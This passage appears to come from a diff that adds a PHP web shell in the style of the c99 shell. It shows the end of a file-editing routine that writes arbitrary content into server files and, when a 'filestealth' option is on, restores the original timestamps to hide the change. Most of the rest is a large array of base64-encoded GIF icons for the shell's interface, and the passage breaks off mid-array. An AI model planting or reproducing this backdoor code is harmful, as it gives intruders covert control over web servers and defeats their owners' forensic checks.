echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> 